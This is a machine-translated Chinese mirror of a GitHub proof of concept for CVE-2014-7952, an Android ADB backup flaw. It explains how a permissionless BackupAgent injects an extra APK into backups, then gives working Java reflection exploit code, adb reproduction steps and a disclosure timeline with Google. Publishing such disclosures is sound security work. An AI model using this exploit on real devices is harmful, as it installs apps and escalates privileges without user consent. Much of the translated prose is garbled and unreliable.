ADB-Backup-APK-Injection, Android ADB备份APK注入 POC

分享于 

8分钟阅读

GitHub

  繁體 雙語
Android ADB backup APK Injection POC
  • 源代码名称:ADB-Backup-APK-Injection
  • 源代码网址:http://www.github.com/irsl/ADB-Backup-APK-Injection
  • ADB-Backup-APK-Injection源代码文档
  • ADB-Backup-APK-Injection源代码下载
  • Git URL:
    git://www.github.com/irsl/ADB-Backup-APK-Injection.git
    Git Clone代码到本地:
    git clone http://www.github.com/irsl/ADB-Backup-APK-Injection
    Subversion代码到本地:
    $ svn co --depth empty http://www.github.com/irsl/ADB-Backup-APK-Injection
    Checked out revision 1.
    $ cd repo
    $ svn up trunk
    
    ADB-Backup-APK-Injection

    通过 Imre。搜索实验室有限公司发现的。注入漏洞,由。创建。

    什么是ADB备份/还原?

    Android操作系统通过ADB工具提供一个已经安装包的备份/恢复机制。 默认情况下,可以执行包括存储在/data 中的private 文件,但是这种行为可以通过实现 BackupAgent 类来定制。 这样应用程序就可以用定制的文件和数据给备份进程提供反馈。 备份文件是一个简单的压缩tar归档,带有一些Android特定的头文件。 可选加密也可能。

    APK注入漏洞

    调用自定义BackupAgent的备份管理器不筛选由应用程序返回的数据流。 在备份过程执行BackupAgent时,它可以在不允许用户同意的情况下将其他应用程序( APKs ) 插入到备份存档中。 BackupAgent的不需要Android许可。 恢复备份存档后,系统将安装注入的额外应用程序( 因为它是备份档案的一部分而且系统相信它是可信的),以英镑升级的特权为代价。

    所以危险是有几个词: 一个看似没有人同意的安卓应用程序可以在没有用户许可的情况下安装新的应用程序。

    可以通过简单的反射来利用备份管理器来注入任意附加的APK:

    
    //package name of the application to be injected. This will be one of the arguments of backupToTar() method
    
    
    String packageName ="com.searchlab.wifitest"; 
    
    
    
    Method backupToTar;
    
    
    Method getData;
    
    
    try {
    
    
    //looking up the internal Classes
    
    
     Class<?> fullbackupClass = Class.forName("android.app.backup.FullBackup");
    
    
     Class<?> backupDataOutputClass = Class.forName("android.app.backup.BackupDataOutput");
    
    
    
    //fetching reference to the backupToTar method and making it accessible for us
    
    
     backupToTar = fullbackupClass.getDeclaredMethod("backupToTar", String.class, String.class, String.class, String.class, String.class, backupDataOutputClass);
    
    
     backupToTar.setAccessible(true); 
    
    
    
    //we also need getData() method
    
    
     getData = FullBackupDataOutput.class.getDeclaredMethod("getData");
    
    
     getData.setAccessible(true);
    
    
    
    //and now let the magic begin!
    
    
     Object backupData = getData.invoke(data);
    
    
     backupToTar.invoke(null, packageName, null, null, getFilesDir().toString(), getFilesDir()+"/_manifest", backupData);
    
    
     backupToTar.invoke(null, packageName,"a", null, getFilesDir().toString(),getFilesDir()+"/com.searchlab.wifitest-1.apk", backupData);
    
    
    
    //that's all, folks
    
    
     Log.v("MYBACKUP","backuptotar invoked!");
    
    
    
    } catch (Exception e) {
    
    
     e.printStackTrace();
    
    
    }
    
    
    
    

    受影响的

    这个漏洞存在于Android操作系统的备份机制中。 任何使用adb工具创建和恢复它的手机备份的人都可能受到影响。 人们可以认为 命令行 应用程序只被极客或者程序员使用,但不一定有,而在创建备份或者恢复它们的时候,有一个依赖于相同技术的Windows GUI应用。 恶意软件可能来自一个看似不需要任何权限的恶意游戏,因为它声称根本不需要任何权限。 创建备份后,归档文件是"已经感染"。 注入的应用程序可以使用任何( 非系统) 权限,例如在启动时自动启动或者发送SMS消息。

    概念证明

    在这个库中,你可以找到一个应用程序以及它的源代码,它。 它在 Android 4.4.4和 Android 5.1.1上进行了测试。

    步骤 1: 安装 ADB_Backup_Injection.apk ( com.searchlab.backupagenttest ):

    ADB Backup Injection, custom BackupAgent

    这里应用程序不需要任何权限。

    步骤 2: 使用以下命令创建这里包的备份

    
    adb backup -f backup.ab -apk com.searchlab.backupagenttest
    
    
    
    

    ( 你也可以创建完整的系统备份,开发仍然是成功的。)

    步骤1: 如果你想要检查刚刚创建的备份归档文件,请使用 ABE工具:

    
    java -jar abe.jar unpack backup.ab backup.tar
    
    
    
    

    ADB Backup Injection, the tar file with the injected content

    在tar文件中,你会发现注入的第二个应用程序( com.searchlab.wifitest )。

    步骤 4: 使用以下命令还原归档文件:

    
    adb restore backup.ab
    
    
    
    

    由于 backup.ab 文件已经包含注入的应用程序,所以它将被还原为( 已经安装)。

    步骤 5: 验证Wifi测试应用程序确实已经安装。 应用程序运行 android.permission.CHANGE_WIFI_STATE 和 android.permission.ACCESS_WIFI_STATE 权限来证明权限升级也是可能的。

    ADB Backup Injection, injected application

    CVE

    ID CVE-2014-7952被分配给这个漏洞。

    受影响的版本

    至今,( 2015-07-08 )的所有版本都受到影响,包括 Android L。

    时间线

    搜索实验室有限责任公司负责向安卓安全团队报告这种威胁。 首先,谷歌没有承认这个问题是安全相关的。 后来,他们继续请求暂停发布,因为他们需要更多的时间进行进一步的调查,但是截至今天,年,Bug 仍然没有解决。 问题的最重要里程碑将在下面的行中列出:

    2014-07-14: 漏洞被泄露到安卓安全团队

    2014-07-28: 谷歌拒绝将该问题视为潜在威胁

    "。"。这个线程中的它的他电子邮件,谷歌继续调查问题并请求关闭出版物。

    2014-10-13: 要求谷歌更新状态( 并请求一个杯子或者杯子供病人使用)

    2014-10-15: 谷歌回答说问题没有在L 发布fixed修复,并要求暂停发布它。 ( 得到关于询问杯子的承诺)

    "。"。不需要任何新信息即可以定期更新更多的乒乓邮件( 没有一个新的信息)

    2015-06-02: Google承诺在几天内进一步信息,但从未到达

    链接

    http://www.search-lab.hu/about-us/news/110-android-adb-backup-apk-injection-vulnerability


    备份  入侵  poc  ADB  APK  
    相关文章